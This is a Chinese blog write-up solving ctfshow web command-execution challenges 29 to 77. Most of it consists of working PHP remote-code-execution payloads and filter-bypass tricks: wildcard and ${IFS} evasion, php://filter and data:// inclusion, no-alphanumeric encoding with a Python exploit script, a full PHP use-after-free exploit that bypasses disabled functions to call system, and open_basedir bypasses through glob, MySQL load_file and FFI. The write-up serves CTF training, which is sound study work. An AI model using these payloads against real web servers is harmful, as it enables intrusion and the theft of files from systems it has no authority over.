ctfshow web入门 命令执行(29-77)

Web 命令执行是指攻击者借助Web应用程序里的漏洞,在服务器端执行任意系统命令的一种攻击手段。

原理:

Web 应用程序在处理用户输入时,有时会调用系统命令。若开发人员没有对用户输入进行严格的过滤与验证,攻击者就能够通过构造恶意输入,注入恶意命令,让服务器执行这些命令。

看例题

Web 29

由题目可知:flag被过滤,我们可以猜测flag就在这里,我们尝试使用*来解决这个问题

1.****(过滤特定字符串【例如flag】的情况:)

当我们要读取flag时,遇到过滤了flag关键词的时候,我们可以使用通配符绕过。

通配符我们只需要掌握两个符号,分别是 * 和 ?

* 号表示任意长度字符,最常见的就是一条命令处理多个文件

url/?c=system("tac fla*");

2. 利用参数输入 + eval

?c=eval($_GET[1]);&1=phpinfo();

?c=eval($_GET[1]);&1=system("ls");

?c=eval($_GET[1]);&1=system("tac fla?.php");

3.利用参数+ include (在读取前对内容进行过滤)

(参考y4tacker师傅的解法:https://blog.csdn.net/solitudi/article/details/109837640)

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

生成的内容再进行base64解码

**4.**利用cp命令将flag拷贝到别处

?c=system("cp fl?g.php a.txt");

再访问a.txt

Web 30

由题目可知:

(!preg_match("/flag|system|php/i", $c))

https://blog.csdn.net/weixin_39934520/article/details/109231480,查看eval与其他函数对比

system被过滤了,可以使用passthru

?c=passthru("tac fla*");

Web 31

由题目可知:

(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))

?c=eval($_GET[1]);&1=system("tac fla?.php");

Web 32

由题目可知:

(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

生成的内容再进行base64解码

Web 33

由题目可知:

(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c))

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

生成的内容再进行base64解码

提示:

c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

Web 34

由题目可知:

(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

生成的内容再进行base64解码

Web 35

由题目可知:

(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

生成的内容再进行base64解码

Web 36

由题目可知:

(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c))

0-9被过滤了,换成字母

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

生成的内容再进行base64解码

Web 37

题目可知:

if(!preg_match("/flag/i", $c)){

include($c);

echo $flag;

}

提示:

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

查看源代码 或者通过包含日志文件拿shell

使用data协议

?c=data://text/plain/,<?php system('tac f*')?>

data协议

data://协议_data协议-CSDN博客

PHP: data:// - Manual 官方文档

data伪协议生成一段数据流,如果有 include(),include会把数据流当成代码进行执行(使用前提:allow_url_include=On)

Web 38

题目可知:

if(!preg_match("/flag|php|file/i", $c)){

include($c);

echo $flag;

}

提示:

nginx的日志文件/var/log/nginx/access.log

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

查看源代码 或者通过包含日志文件拿shell

data协议

?c=data://text/plain/,<?= system('tac f*')?>

php被过滤

<?=短标签相当于<?php echo(使用前提short_open_tag=On

Web 39

由题目可知:

if(!preg_match("/flag/i", $c)){

include($c.".php");

}

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用(不要被.php忽悠到)

?c=data://text/plain,<?php system("tac fla*")?>

Web 40

由题目可知:

c = _GET['c'];

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\\|\\%\|\\\^\|\\\&\|\\\*\|\\(\|\\)\|\\-\|\\=\|\\+\|\\{\|\\\[\|\\\]\|\\}\|\\:\|\\'\|\\"\|\\,\|\\\<\|\\.\|\\\>\|\\/\|\\?\|\\\\\\\\/i", c)){

eval($c);

}

数字和符号都被过滤了???

提示:

show_source(next(array_reverse(scandir(pos(localeconv()))))); GXYCTF的禁止套娃 通过cookie获得参数进行命令执行

c=session_start();system(session_id());
passid=ls

  1. ?c=data://text/plain,<?php system("tac fla*")?>

被禁用的()是中文括号,无影响

  1. ?c=eval(array_pop(next(get_defined_vars())));

post传1=system("tac flag.php");

参考 RCE(远程代码执行漏洞)函数&命令&绕过总结 - 星海河 - 博客园

  1. ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

  2. ?c=show_source(next(array_reverse(scandir(getcwd()))));

getcwd()函数返回当前工作目录,可以替代pos(localconv())

pos()输出数组的第一个元素,不改变指针

current()函数返回数组中的当前元素,默认为第一个值,和pos一样

scandir()函数返回执行目录中的文件和目录的数组。这里的参数为"."遍历当前目录

array_reverse()数组逆置

show_source()显示源码

Web 41

由题目可知:

if(isset($_POST['c'])){

c = _POST['c'];

if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\\|\\\[\|\\\]\|\\{\|\\}\|\\\&\|\\-/i', c)){

eval("echo($c);");

}

无字母数字RCE(通过特殊字符构造字母实现代码执行

参考文章 ctfshow web入门 web41_ctfshow web41-CSDN博客

参考文章 ctfshow-web入门-命令执行(web41_exp与分析)_ctfshow web41-CSDN博客

python 复制代码
import re # 用于处理正则表达式

 

# 定义给定的正则表达式模式

preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'

 

# 初始化内容字符串

content = ''

 

# 循环遍历ASCII码表中的所有字符对

for i in range(256):

    for j in range(256):

        # 如果字符i和j不匹配给定的正则表达式模式

        if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)): # re.I表示忽略大小写

            # 将字符i和j进行按位或运算,得到新的字符k

            k = i | j

            # 如果字符k是ASCII可见字符(范围在32到126之间)

            if k >= 32 and k <= 126:

                # 将字符i和j转换为十六进制形式,并拼接成url编码

                a = '%' + hex(i)[2:].zfill(2)

                b = '%' + hex(j)[2:].zfill(2)

                # 将k对应的字符和i、j转换拼接结果写入txt文件

                content += (chr(k) + ' '+ a + ' ' + b + '\n')

 

# 打开名为'rce_or.txt'的文件,以写入模式打开,如果文件不存在则创建

f = open('rce_or.txt', 'w')

# 将生成的内容写入文件

f.write(content)

# 关闭文件

f.close()

 

由于SSL证书问题报错,在第二个脚本在My6n师傅的基础上加入了try-catch块

python 复制代码
​
​
# -*- coding:utf-8 -*-

import requests  # 用于发送HTTP请求

import urllib  # 用于URL编码和解码

from sys import *

import os  # 用于与操作系统进行交互

if (len(argv) != 2):  # 检查参数数量

    print("=" * 50)

    print('USER :python exp.py <url>')

    print("eg:   python exp.py http://ctfshow/")

    print("=" * 50)

    exit(0)

url = argv[1]

def action(arg):

    s1 = ""

    s2 = ""

    for i in arg:

        f = open("rce_or.txt", "r")

        while True:

            t = f.readline()

            if t == "":

                break

            if t[0] == i:

                # print(i)

                s1 += t[2:5]

                s2 += t[6:9]

                break

        f.close()

    output = "(\"" + s1 + "\"|\"" + s2 + "\")"

    return output

while True:

    param = action(input("\n[+] your function: ")) + action(input("[+] your command: "))

    data = {

        'c': urllib.parse.unquote(param)

    }

    try:

        r = requests.post(url, data=data, verify=False)

        print("\n[*] result:\n" + r.text)

    except requests.exceptions.RequestException as e:

        print(f"请求出错: {e}")

​

​

try - except块:

在try块中,使用requests.post方法向目标url发送 POST 请求,携带data数据。这里设置verify=False,表示在请求时不验证服务器的 SSL 证书。这是因为在原报错中,是由于证书验证失败导致请求无法正常进行,设置verify=False就跳过了这一验证步骤。然后打印服务器返回的响应内容。

在except块中,捕获requests.exceptions.RequestException异常,这是requests库中所有请求相关异常的基类。如果请求过程中出现任何问题(例如网络连接问题、服务器无响应等),就会执行这部分代码,打印出具体的错误信息。

Web 42

由题目可知:

system($c." >/dev/null 2>&1");

>/dev/null 2>&1 的含义

这部分是 shell 命令的一部分,用来控制命令的输出:

  • >/dev/null:将命令的标准输出(STDOUT)重定向到 /dev/null,这是一个特殊的设备文件,写入它的内容将会被丢弃,相当于将输出静默化,不会显示在终端或页面上。
  • 2>&1:将命令的标准错误输出(STDERR)重定向到标准输出(STDOUT)。这样做的目的是,即使命令产生了错误信息,也会被一同重定向到 /dev/null,不会显示在页面上。

?c=cat flag.php||ls

Web 43

由题目可知:

if(!preg_match("/\;|cat/i", $c)){

system($c." >/dev/null 2>&1");

}

与42比较,多了一个过滤

?c=tac flag.php||ls

Web 44

由题目可知:

if(!preg_match("/;|cat|flag/i", $c)){

system($c." >/dev/null 2>&1");

}

?c=tac fla*||ls

Web 45

由题目可知:

if(!preg_match("/\;|cat|flag| /i", $c)){

system($c." >/dev/null 2>&1");

}

空格被过滤了,${IFS}

?c=tac${IFS}fla*||ls

Web 46

由题目可知:

if(!preg_match("/\;|cat|flag| |[0-9]|\\\|\\\*/i", c)){

system($c." >/dev/null 2>&1");

}

$*和数字都被过滤了

?c=tac<fla''g.php||ls(两个单引号'

?c=tac<>fla''g.php||ls

?c=tac%09fla''g.php||ls

?c=tac%09fl?g.php||ls

?c=tac<fl?g.php||ls

?c=tac<>fl?g.php||ls

Web 47

由题目可知:

if(!preg_match("/\;|cat|flag| |[0-9]|\\\|\\\*\|more\|less\|head\|sort\|tail/i", c)){

system($c." >/dev/null 2>&1");

}

?c=tac<fla''g.php||

?c=tac%09fla?.php||

Web 48

由题目可知:

if(!preg_match("/\;|cat|flag| |[0-9]|\\\|\\\*\|more\|less\|head\|sort\|tail\|sed\|cut\|awk\|strings\|od\|curl\|\\\`/i", c)){

system($c." >/dev/null 2>&1");

}

?c=tac<fla''g.php||

?c=tac%09fla?.php||

Web 49

由题目可知:

if(!preg_match("/\;|cat|flag| |[0-9]|\\\|\\\*\|more\|less\|head\|sort\|tail\|sed\|cut\|awk\|strings\|od\|curl\|\\\`\|\\%/i", c)){

system($c." >/dev/null 2>&1");

}

?c=tac<fla''g.php||

Web 50

由题目可知:

if(!preg_match("/\;|cat|flag| |[0-9]|\\\|\\\*\|more\|less\|head\|sort\|tail\|sed\|cut\|awk\|strings\|od\|curl\|\\\`\|\\%\|\\x09\|\\x26/i", c)){

system($c." >/dev/null 2>&1");

}

?c=tac<fla''g.php||

Web 51

由题目可知:

if(!preg_match("/\;|cat|flag| |[0-9]|\\\|\\\*\|more\|less\|head\|sort\|tail\|sed\|cut\|tac\|awk\|strings\|od\|curl\|\\\`\|\\%\|\\x09\|\\x26/i", c)){

system($c." >/dev/null 2>&1");

}

tac也被过滤了???

?c=t''ac<fla''g.php||

Web 52

由题目可知:

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c." >/dev/null 2>&1");

}

<>也被过滤了,但是$恢复

?c=t''ac${IFS}fla?.php||

发现flag并不在flag.php中

?c=ls${IFS}/||

发现flag

?c=t''ac${IFS}/fla?||

?c=nl$IFS/fla''g||

参考文章 0018. shell命令--nl_shell nl-CSDN博客

  1. 显示指定文件内容及行号信息

nl /root/.bashrc

  1. 显示指定文件内容及行号信息,空行也加上行号

nl -b a /root/.bashrc

  1. 空行也算一行,并且行号前面自动补0,统一输出格式后显示指定文件内容及行号信息

nl -b a -n rz /root/.bashrc

  1. 设置行号字段的宽度为 N 个字符,并右对齐

nl -n rz -w 2 /root/.bashrc

nl -n rz -w 5 /root/.bashrc

  1. 为非空行添加行号,并设置开始行号为 100

nl -b t -v 100 /root/.bashrc

  1. 使用自定义的分隔符(如顿号)添加行号

nl -s '、' /root/.bashrc

  1. 与其它符号或命令结合使用

nl /etc/ssh/sshd_config | less

grep "$PS1" /etc/bashrc

nl /etc/bashrc | grep "$PS1"

Web 53

由题目可知:

c=_GET['c'];

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){

echo($c);

d = system(c);

echo "<br>".$d;

}else{

echo 'no';

}

?c=c''at${IFS}fla?.php

Web 54

由题目可知:

if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c);

}

.*c.*a.*t.* 匹配任何包含cat的字符串

ls还存在,可以看到flag在flag.php中

参考 ctf.show

把全路径写出来,如/bin/ca?,与/bin/ca?匹配的,只有/bin/cat命令,这样就用到了cat 命令了。

?c=/bin/?at${IFS}f???????

查看源码得到flag

Web 55

无字母RCE5

由题目可知:

if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c);

}

字母又被过滤了???

%也被过滤了.....

构造一个post数据上传包?

<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8">

<meta name="viewport" content="width=device-width, initial-scale=1.0">

<title>POST数据包POC</title>

</head>

<body>

<form action="http://b3df1a2e-05d1-4146-93b5-a2e7a507deb5.challenge.ctf.show/" method="post" enctype="multipart/form-data">

<!--链接是当前打开的题目链接-->

<label for="file">文件名:</label>

<input type="file" name="file" id="file"><br>

<input type="submit" name="submit" value="提交">

</form>

</body>

</html>

抓包,传参数

参考文章

无字母数字的命令执行(ctfshow web入门 55)_ctfshowweb55-CSDN博客

Web 56

由题目可知:

if(!preg_match("/\;|[a-z]|[0-9]|\\\|\\(\|\\{\|\\'\|\\"\|\\\`\|\\%\|\\x09\|\\x26\|\\\>\|\\\c)){

system($c);

}

和web55一样

参考文章

无字母数字的命令执行(ctfshow web入门 56)_ctfshow56-CSDN博客

Web 57

由题目可知:

//flag in 36.php

if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){

system("cat ".$c.".php");

}

设一个非零整数为n,其取反后的结果为~n,在以k位二进制补码表示的整数范围内(有符号整数),~n=-(n+1)。

?c=((\~((((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))((\~(())))))))

查看网页源代码,得到flag

Web 58

由题目可知:

// 你们在炫技吗?

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

}else{

highlight_file(FILE);

}

发现题目对于system 等函数都过滤了

c=highlight_file("flag.php");

c=show_source("flag.php");

highlight_file() 函数的作用是将指定文件的源代码以语法高亮的HTML的格式输出

show_source()函数的作用也是将指定文件的源代码以语法高亮的HTML的格式输出

两个函数的作用基本相同

Web 59

由题目可知:

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

}

c=highlight_file("flag.php");

c=show_source("flag.php");

Web 60

由题目可知:

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

}

c=highlight_file("flag.php");

c=show_source("flag.php");

Web 61

由题目可知:

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

}

c=highlight_file("flag.php");

c=show_source("flag.php");

Web 62

由题目可知:

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

}

c=highlight_file("flag.php");

c=show_source("flag.php");

Web 63

由题目可知:

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

}

c=highlight_file("flag.php");

c=show_source("flag.php");

Web 64

由题目可知:

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

}

c=highlight_file("flag.php");

c=show_source("flag.php");

Web 65

由题目可知:

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

}

c=highlight_file("flag.php");

c=show_source("flag.php");

Web 66

由题目可知:

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

}

c=highlight_file("flag.php");

$flag="秀秀得了,这次不在这里";

哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈,上面几个都是一样的(58-65

c=print_r(scandir("/"));

发现有flag.txt

c=highlight_file("/flag.txt");

scandir("/"):指定对"/"根目录进行扫描

print_r():以可读的格式输出变量

Web 68

由题目可知:

Warning : highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

highlight_file这次也被禁用了

c=include("/flag.txt");

c=var_dump(scandir("/"));

c=readgzfile("/flag.txt");

Web 69

由题目可知:

Warning : highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

c=include("/flag.txt");

var_dump()被过滤了

Web 70

由题目可知:

Warning : error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning : ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning : highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21

你要上天吗?

c=var_export(scandir("/"));

c=include("/flag.txt");

Web 71

由题目可知:

给了一个index.php

// 你们在炫技吗?

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

$s = ob_get_contents();

ob_end_clean();

echo preg_replace("/[0-9]|[a-z]/i","?",$s);

}

ob_get_contents():该函数会返回当前输出缓冲区的内容,但不会清空缓冲区

ob_end_clean():该函数会清空当前输出缓冲区中的内容,然后关闭缓冲区。这意味着之前存储在缓冲区的内容不会再被发送到浏览器

提示:

我们可以执行php代码让后面的匹配缓冲区不执行直接退出 payload:c=include('/flag.txt');exit(0);

c=var_export(scandir("/"));exit(0);

c=include('/flag.txt');exit(0);

Web 72

由题目可知:

给了一个index.php

// 你们在炫技吗?

if(isset($_POST['c'])){

c= _POST['c'];

eval($c);

$s = ob_get_contents();

ob_end_clean();

echo preg_replace("/[0-9]|[a-z]/i","?",$s);

}

var_export()被过滤了

尝试读取目录的时候发现开启了basedir限制,绕过尝试使用glob协议

c=$a="glob:///*.txt";

if(b=opendir(a)){

while((file=readdir(b)) !== false){

echo "filename:".$file."\n";

}

closedir($b);

}

exit();

发现只有一个flag0.txt

粘贴脚本,url编码

php 复制代码
c=function ctfshow($cmd) { global $abc, $helper, $backtrace;

class Vuln {
    public $a;
    public function __destruct() {
        global $backtrace;
        unset($this->a);
        $backtrace = (new Exception)->getTrace();
        if(!isset($backtrace[1]['args'])) {
            $backtrace = debug_backtrace();
        }
    }
}

class Helper {
    public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
    $address = 0;
    for($j = $s-1; $j >= 0; $j--) {
        $address <<= 8;
        $address |= ord($str[$p+$j]);
    }
    return $address;
}

function ptr2str($ptr, $m = 8) {
    $out = "";
    for ($i=0; $i < $m; $i++) {
        $out .= sprintf("%c",($ptr & 0xff));
        $ptr >>= 8;
    }
    return $out;
}

function write(&$str, $p, $v, $n = 8) {
    $i = 0;
    for($i = 0; $i < $n; $i++) {
        $str[$p + $i] = sprintf("%c",($v & 0xff));
        $v >>= 8;
    }
}

function leak($addr, $p = 0, $s = 8) {
    global $abc, $helper;
    write($abc, 0x68, $addr + $p - 0x10);
    $leak = strlen($helper->a);
    if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
    return $leak;
}

function parse_elf($base) {
    $e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
    $e_phentsize = leak($base, 0x36, 2);
    $e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
        $header = $base + $e_phoff + $i * $e_phentsize;
        $p_type  = leak($header, 0, 4);
        $p_flags = leak($header, 4, 4);
        $p_vaddr = leak($header, 0x10);
        $p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
            $data_size = $p_memsz;
        } else if($p_type == 1 && $p_flags == 5) {
            $text_size = $p_memsz;
        }
    }

if(!$data_addr || !$text_size || !$data_size)
        return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
    list($data_addr, $text_size, $data_size) = $elf;
    for($i = 0; $i < $data_size / 8; $i++) {
        $leak = leak($data_addr, $i * 8);
        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
            $deref = leak($leak);
           
            if($deref != 0x746e6174736e6f63)
                continue;
        } else continue;

$leak = leak($data_addr, ($i + 4) * 8);
        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
            $deref = leak($leak);
           
            if($deref != 0x786568326e6962)
                continue;
        } else continue;

return $data_addr + $i * 8;
    }
}

function get_binary_base($binary_leak) {
    $base = 0;
    $start = $binary_leak & 0xfffffffffffff000;
    for($i = 0; $i < 0x1000; $i++) {
        $addr = $start - 0x1000 * $i;
        $leak = leak($addr, 0, 7);
        if($leak == 0x10102464c457f) {
            return $addr;
        }
    }
}

function get_system($basic_funcs) {
    $addr = $basic_funcs;
    do {
        $f_entry = leak($addr);
        $f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
            return leak($addr + 8);
        }
        $addr += 0x20;
    } while($f_entry != 0);
    return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
    $vuln = new Vuln();
    $vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
    die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
    $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
    die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
    die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
    die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
    die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
    die("Couldn't get zif_system address");
}

$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
    write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();

}

ctfshow("cat /flag0.txt");ob_end_flush(); ?>

原理:利用php垃圾回收,回收漏洞实现绕过basedir

具体看b站ctfshow的web72讲解

Web 73

由题目可知:

c=var_export(scandir("/"));exit(0);

发现有一个flagc.txt

c=include("/flagc.txt");exit(0);

Web 74

由题目可知:

c=var_export(scandir("/"));exit(0);

显示NULL??

但是print_r和var_dump还是被过滤的状态

c=var_export(glob('../../..'.'/*'));exit();

golb:// 用于查找匹配文件路径模式的php伪协议

. 在php中属于字符串连接运算符,在这里将'../../..'和'/*'连接起来形成新的字符串

../../.. 表示当前所在目录向上三级的目录

/* 是通配符,意味着该目录下的所有文件以及文件夹

c=include("/flagx.txt");exit();

Web 75

由题目可知:

c=var_export(glob('../../..'.'/*'));exit(0);显示false

ctfshow-web入门-命令执行(web71-web74)_web72-CSDN博客

ctfshow-web入门-命令执行(web75-web77)_ctfshow web75-CSDN博客

参考Myon5师傅的文章,(注意缩进问题

c=$a=new DirectoryIterator("glob:///*");

foreach(a as f)

{

echo($f->__toString().' ');

}

exit(0);

$a = new DirectoryIterator("glob:///*"); // 创建一个DirectoryIterator对象,遍历根目录

foreach (a as f) { // 遍历每个条目

echo($f->__toString() . ' '); // 输出条目的名称,并添加一个空格

}

exit(0); // 终止脚本执行

使用golb协议绕过open_basedir查看根目录下文件,发现flag36.txt

c=try {

$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');

foreach(dbh-\>query('select load_file("/flag36.txt")') as row) {

echo($row[0])."|";

}

$dbh = null;

} catch (PDOException $e) {

echo $e->getMessage();

die();

};exit();

利用 mysql load_file 读文件,提示中是从数据库 ctftraining 中查询的,就算我们不知道这个数据库名,也可以直接从默认的 information_schema 中查,该数据库包含了所有的数据库的内容。

try {

// 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root)

$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');

// 执行一个SQL查询,从指定的文件(/flag36.txt)中读取内容

foreach(dbh-\>query('select load_file("/flag36.txt")') as row) {

// 输出读取到的内容,并追加一个竖线(|)

echo($row[0])."|";

}

// 将数据库连接对象设置为null,关闭连接

$dbh = null;

} catch (PDOException $e) {

// 如果发生PDO异常,输出错误信息

echo $e->getMessage();

// 终止脚本执行

die();

}

// 终止脚本执行

exit();

$dbh 是数据库连接句柄(database handle),它是通过 new PDO 创建的,用于与数据库进行交互。

PDO(PHP Data Objects)是PHP中的一个扩展,它提供了一个统一的接口来访问不同的数据库。它支持预处理语句和事务,使数据库操作更安全和高效。

DSN(数据源名称,Data Source Name)是一个包含数据库连接信息的字符串。它通常包括数据库类型、主机名、数据库名称等信息。在创建PDO对象时指定,即 'mysql:host=localhost;dbname=information_schema'。这个字符串包含了数据库类型(mysql)、主机名(localhost)和数据库名称(information_schema)。

foreach 是PHP中的一个控制结构,用于遍历数组或对象。在上面payload中,foreach 用于遍历SQL查询的结果集(由 $dbh->query 返回),并处理每一行的数据。

Web 76

由题目可知:

c=$a=new DirectoryIterator("glob:///*");

foreach(a as f)

{

echo($f->__toString().' ');

}

exit(0);

查看根目录下的文件

c=try {

$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');

foreach(dbh-\>query('select load_file("/flag36d.txt")') as row) {

echo($row[0])."|";

}

$dbh = null;

} catch (PDOException $e) {

echo $e->getMessage();

die();

};exit();

Web 77

由题目可知:

c=$a=new DirectoryIterator("glob:///*");

foreach(a as f)

{

echo($f->__toString().' ');

}

exit(0);

查看根目录下的文件

发现有flag36.txt和readflag

c=try {

$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');

foreach(dbh-\>query('select load_file("/flag36d.txt")') as row) {

echo($row[0])."|";

}

$dbh = null;

} catch (PDOException $e) {

echo $e->getMessage();

die();

};exit();

could not find driver

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象

$a='/readflag > 1.txt';//没有回显的

ffi-\>system(a);//通过$ffi去调用system函数

FFI::cdef 方法用于定义 C 函数原型,其中 int system(const char *command); 是 C 语言中 system 函数的声明。system 函数接受一个字符串参数(即Shell命令),并在系统的命令行中执行该命令;

之后执行 /readflag 程序并将其输出重定向到文件 1.txt;

通过 FFI 对象 ffi 调用了前面定义的 system 函数,并传递了字符串变量 a 作为参数。也就是说,实际执行的是 Shell 命令 /readflag > 1.txt,效果是在系统中运行 /readflag 程序,并将其输出结果保存到当前目录下的 1.txt 文件中。

ctfshow-web入门-命令执行(web75-web77)_ctfshow web75-CSDN博客

看了佬的文章,慢慢理解

相关推荐
dualven_in_csdn1 小时前
搞了两天的win7批处理脚本问题
java·linux·前端
你的人类朋友2 小时前
✍️【Node.js程序员】的数据库【索引优化】指南
前端·javascript·后端
小镇学者2 小时前
【PHP】导入excel 报错Trying to access array offset on value of type int
android·php·excel
小超爱编程2 小时前
纯前端做图片压缩
开发语言·前端·javascript
应巅2 小时前
echarts 数据大屏(无UI设计 极简洁版)
前端·ui·echarts
Jimmy3 小时前
CSS 实现描边文字效果
前端·css·html
islandzzzz4 小时前
HMTL+CSS+JS-新手小白循序渐进案例入门
前端·javascript·css·html
Senar4 小时前
网页中如何判断用户是否处于闲置状态
前端·javascript
很甜的西瓜4 小时前
typescript软渲染实现类似canvas的2d矢量图形引擎
前端·javascript·typescript·图形渲染·canvas
Allen Bright4 小时前
【CSS-9】深入理解CSS字体图标:原理、优势与最佳实践
前端·css